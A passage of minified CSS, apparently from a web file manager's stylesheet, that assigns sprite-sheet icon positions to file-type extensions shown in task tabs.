!important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -32px !important;}.task-tab .tabs .tab .x-item-file.x-wav,.task-tab .tabs .tab img.x-wav{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -16px !important;}.task-tab .tabs .tab .x-item-file.x-wma,.task-tab .tabs .tab img.x-wma{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px 0 !important;}.task-tab .tabs .tab .x-item-file.x-3ds,.task-tab .tabs .tab img.x-3ds{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -192px !important;}.task-tab .tabs .tab .x-item-file.x-ai,.task-tab .tabs .tab img.x-ai{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -176px !important;}.task-tab .tabs .tab .x-item-file.x-as,.task-tab .tabs .tab img.x-as{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -160px !important;}.task-tab .tabs .tab .x-item-file.x-cdr,.task-tab .tabs .tab img.x-cdr{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -144px !important;}.task-tab .tabs .tab .x-item-file.x-dwg,.task-tab .tabs .tab img.x-dwg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -128px !important;}.task-tab .tabs .tab .x-item-file.x-dxf,.task-tab .tabs .tab img.x-dxf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -112px !important;}.task-tab .tabs .tab .x-item-file.x-eps,.task-tab .tabs .tab img.x-eps{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -96px !important;}.task-tab .tabs .tab .x-item-file.x-fla,.task-tab .tabs .tab img.x-fla{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -80px !important;}.task-tab .tabs .tab .x-item-file.x-indd,.task-tab .tabs .tab img.x-indd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -64px !important;}.task-tab .tabs .tab .x-item-file.x-prproj,.task-tab .tabs .tab img.x-prproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -48px !important;}.task-tab .tabs .tab .x-item-file.x-psb,.task-tab .tabs .tab img.x-psb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -32px !important;}.task-tab .tabs .tab .x-item-file.x-psd,.task-tab .tabs .tab img.x-psd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -16px !important;}.task-tab .tabs .tab .x-item-file.x-pspimage,.task-tab .tabs .tab img.x-pspimage{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px 0 !important;}.task-tab .tabs .tab .x-item-file.x-c,.task-tab .tabs .tab img.x-c{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -320px !important;}.task-tab .tabs .tab .x-item-file.x-cpp,.task-tab .tabs .tab img.x-cpp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -304px !important;}.task-tab .tabs .tab .x-item-file.x-cs,.task-tab .tabs .tab img.x-cs{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -288px !important;}.task-tab .tabs .tab .x-item-file.x-csproj,.task-tab .tabs .tab img.x-csproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -272px !important;}.task-tab .tabs .tab .x-item-file.x-dtd,.task-tab .tabs .tab img.x-dtd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -256px !important;}.task-tab .tabs .tab .x-item-file.x-h,.task-tab .tabs .tab img.x-h{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -240px !important;}.task-tab .tabs .tab .x-item-file.x-ldf,.task-tab .tabs .tab img.x-ldf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -224px !important;}.task-tab .tabs .tab .x-item-file.x-mdf,.task-tab .tabs .tab img.x-mdf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -208px !important;}.task-tab .tabs .tab .x-item-file.x-pdb,.task-tab .tabs .tab img.x-pdb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -192px !important;}.task-tab .tabs .tab .x-item-file.x-resx,.task-tab .tabs .tab img.x-resx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -176px !important;}.task-tab .tabs .tab .x-item-file.x-sln,.task-tab .tabs .tab img.x-sln{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -160px !important;}.task-tab .tabs .tab .x-item-file.x-sql,.task-tab .tabs .tab img.x-sql{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -144px !important;}.task-tab .tabs .tab .x-item-file.x-suo,.task-tab .tabs .tab img.x-suo{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -128px !important;}.task-tab .tabs .tab .x-item-file.x-vb,.task-tab .tabs .tab img.x-vb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -112px !important;}.task-tab .tabs .tab .x-item-file.x-vbproj,.task-tab .tabs .tab img.x-vbproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -96px !important;}.task-tab .tabs .tab .x-item-file.x-vcproj,.task-tab .tabs .tab img.x-vcproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -80px !important;}.task-tab .tabs .tab .x-item-file.x-vcxproj,.task-tab .tabs .tab img.x-vcxproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -64px !important;}.task-tab .tabs .tab .x-item-file.x-xaml,.task-tab .tabs .tab img.x-xaml{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -48px !important;}.task-tab .tabs .tab .x-item-file.x-xml,.task-tab .tabs .tab img.x-xml{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -32px !important;}.task-tab .tabs .tab .x-item-file.x-xsd,.task-tab .tabs .tab img.x-xsd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -16px !important;}.task-tab .tabs .tab .x-item-file.x-xsl,.task-tab .tabs .tab img.x-xsl{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px 0 !important;}.task-tab .tabs .tab .x-item-file.x-bmp,.task-tab .tabs .tab img.x-bmp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-64px -64px !important;}.task-tab .tabs .tab .x-item-file.x-gif,.task-tab .tabs .tab img.x-gif{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-64px -48px !important;}.task-tab .tabs .tab .x-item-file.x-ico,.task-tab .tabs .tab img.x-ico{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-64px -32px !important;}.task-tab .tabs .tab .x-item-file.x-jpg,.task-tab .tabs .tab img.x-jpg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-65px -13px !important;}.task-tab .tabs .tab .x-item-file.x-png,.task-tab .tabs .tab img.x-png{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-64px 0 !important;}.task-tab .tabs .tab .x-item-file.x-accdb,.task-tab .tabs .tab img.x-accdb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -624px !important;}.task-tab .tabs .tab .x-item-file.x-csv,.task-tab .tabs .tab img.x-csv{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -608px !important;}.task-tab .tabs .tab .x-item-file.x-doc,.task-tab .tabs .tab img.x-doc{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -592px !important;}.task-tab .tabs .tab .x-item-file.x-docm,.task-tab .tabs .tab img.x-docm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -576px !important;}.task-tab .tabs .tab .x-item-file.x-docx,.task-tab .tabs .tab img.x-docx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -560px !important;}.task-tab .tabs .tab .x-item-file.x-dot,.task-tab .tabs .tab img.x-dot{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -544px !important;}.task-tab .tabs .tab .x-item-file.x-dotm,.task-tab .tabs .tab img.x-dotm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -528px !important;}.task-tab .tabs .tab .x-item-file.x-dotx,.task-tab .tabs .tab img.x-dotx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -512px !important;}.task-tab .tabs .tab .x-item-file.x-epub,.task-tab .tabs .tab img.x-epub{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -496px !important;}.task-tab .tabs .tab .x-item-file.x-mdb,.task-tab .tabs .tab img.x-mdb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -480px !important;}.task-tab .tabs .tab .x-item-file.x-mht,.task-tab .tabs .tab img.x-mht{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -464px !important;}.task-tab .tabs .tab .x-item-file.x-mpp,.task-tab .tabs .tab img.x-mpp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -448px !important;}.task-tab .tabs .tab .x-item-file.x-mpt,.task-tab .tabs .tab img.x-mpt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -432px !important;}.task-tab .tabs .tab .x-item-file.x-msg,.task-tab .tabs .tab img.x-msg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -416px !important;}.task-tab .tabs .tab .x-item-file.x-odp,.task-tab .tabs .tab img.x-odp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -400px !important;}.task-tab .tabs .tab .x-item-file.x-ods,.task-tab .tabs .tab img.x-ods{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -384px !important;}.task-tab .tabs .tab .x-item-file.x-odt,.task-tab .tabs .tab img.x-odt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -368px !important;}.task-tab .tabs .tab .x-item-file.x-pdf,.task-tab .tabs .tab img.x-pdf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -352px !important;}.task-tab .tabs .tab .x-item-file.x-pps,.task-tab .tabs .tab img.x-pps{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -336px !important;}.task-tab .tabs .tab .x-item-file.x-ppsx,.task-tab .tabs .tab img.x-ppsx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -320px !important;}.task-tab .tabs .tab .x-item-file.x-ppt,.task-tab .tabs .tab img.x-ppt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -304px !important;}.task-tab .tabs .tab .x-item-file.x-pptx,.task-tab .tabs .tab img.x-pptx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -288px !important;}.task-tab .tabs .tab .x-item-file.x-pst,.task-tab .tabs .tab img.x-pst{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -272px !important;}.task-tab .tabs .tab .x-item-file.x-pub,.task-tab .tabs .tab img.x-pub{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -256px !important;}.task-tab .tabs .tab .x-item-file.x-vcf,.task-tab .tabs .tab img.x-vcf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -240px !important;}.task-tab .tabs .tab .x-item-file.x-vdw,.task-tab .tabs .tab img.x-vdw{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -224px !important;}.task-tab .tabs .tab .x-item-file.x-vdx,.task-tab .tabs .tab img.x-vdx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -208px !important;}.task-tab .tabs .tab .x-item-file.x-vsd,.task-tab .tabs .tab img.x-vsd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -192px !important;}.task-tab .tabs .tab .x-item-file.x-vsdx,.task-tab .tabs .tab img.x-vsdx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -176px !important;}.task-tab .tabs .tab .x-item-file.x-vss,.task-tab .tabs .tab img.x-vss{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -160px !important;}.task-tab .tabs .tab .x-item-file.x-vst,.task-tab .tabs .tab img.x-vst{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -144px !important;}.task-tab .tabs .tab .x-item-file.x-vsx,.task-tab .tabs .tab img.x-vsx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -128px !important;}.task-tab .tabs .tab .x-item-file.x-vtx,.task-tab .tabs .tab img.x-vtx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -112px !important;}.task-tab .tabs .tab .x-item-file.x-xls,.task-tab .tabs .tab img.x-xls{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -96px !important;}.task-tab .tabs .tab .x-item-file.x-xlsb,.task-tab .tabs .tab img.x-xlsb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -80px !important;}.task-tab .tabs .tab .x-item-file.x-xlsm,.task-tab .tabs .tab img.x-xlsm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -64px !important;}.task-tab .tabs .tab .x-item-file.x-xlsx,.task-tab .tabs .tab img.x-xlsx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -48px !important;}.task-tab .tabs .tab .x-item-file.x-xlt,.task-tab .tabs .tab img.x-xlt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -32px !important;}.task-tab .tabs .tab .x-item-file.x-xltx,.task-tab .tabs .tab img.x-xltx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -16px !important;}.task-tab .tabs .tab .x-item-file.x-xps,.task-tab .tabs .tab img.x-xps{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px 0 !important;}.task-tab .tabs .tab .x-item-file.x-cab,.task-tab .tabs .tab img.x-cab{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -240px !important;}.task-tab .tabs .tab .x-item-file.x-cer,.task-tab .tabs .tab img.x-cer{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -224px !important;}.task-tab .tabs .tab .x-item-file.x-chm,.task-tab .tabs .tab img.x-chm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -208px !important;}.task-tab .tabs .tab .x-item-file.x-cmd,.task-tab .tabs .tab img.x-cmd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -192px !important;}.task-tab .tabs .tab .x-item-file.x-dll,.task-tab .tabs .tab img.x-dll{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -176px !important;}.task-tab .tabs .tab .x-item-file.x-exe,.task-tab .tabs .tab img.x-exe{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -160px !important;}.task-tab .tabs .tab .x-item-file.x-fon,.task-tab .tabs .tab img.x-fon{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -144px !important;}.task-tab .tabs .tab .x-item-file.x-hlp,.task-tab .tabs .tab img.x-hlp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -128px !important;}.task-tab .tabs .tab .x-item-file.x-ini,.task-tab .tabs .tab img.x-ini{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -112px !important;}.task-tab .tabs .tab .x-item-file.x-lnk,.task-tab .tabs .tab img.x-lnk{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -96px !important;}.task-tab .tabs .tab .x-item-file.x-msi,.task-tab .tabs .tab img.x-msi{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -80px !important;}.task-tab .tabs .tab .x-item-file.x-ps1,.task-tab .tabs .tab img.x-ps1{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -64px !important;}.task-tab .tabs .tab .x-item-file.x-reg,.task-tab .tabs .tab img.x-reg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -48px !important;}.task-tab .tabs .tab .x-item-file.x-rtf,.task-tab .tabs .tab img.x-rtf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -32px !important;}.task-tab .tabs .tab .x-item-file.x-txt,.task-tab .tabs .tab img.x-txt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -16px !important;}.task-tab .tabs .tab .x-item-file.x-vbs,.task-tab .tabs .tab img.x-vbs{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px 0 !important;}.task-tab .tabs .tab .x-item-file.x-3gp,.task-tab .tabs .tab img.x-3gp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -160px !important;}.task-tab .tabs .tab .x-item-file.x-avi,.task-tab .tabs .tab img.x-avi{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -144px !important;}.task-tab .tabs .tab .x-item-file.x-flv,.task-tab .tabs .tab img.x-flv{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -128px !important;}.task-tab .tabs .tab .x-item-file.x-m4v,.task-tab .tabs .tab img.x-m4v{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -112px !important;}.task-tab .tabs .tab .x-item-file.x-mkv,.task-tab .tabs .tab img.x-mkv{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -96px !important;}.task-tab .tabs .tab .x-item-file.x-mov,.task-tab .tabs .tab img.x-mov{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -80px !important;}.task-tab .tabs .tab .x-item-file.x-mp4,.task-tab .tabs .tab img.x-mp4{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -64px !important;}.task-tab .tabs .tab .x-item-file.x-mpg,.task-tab .tabs .tab img.x-mpg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px 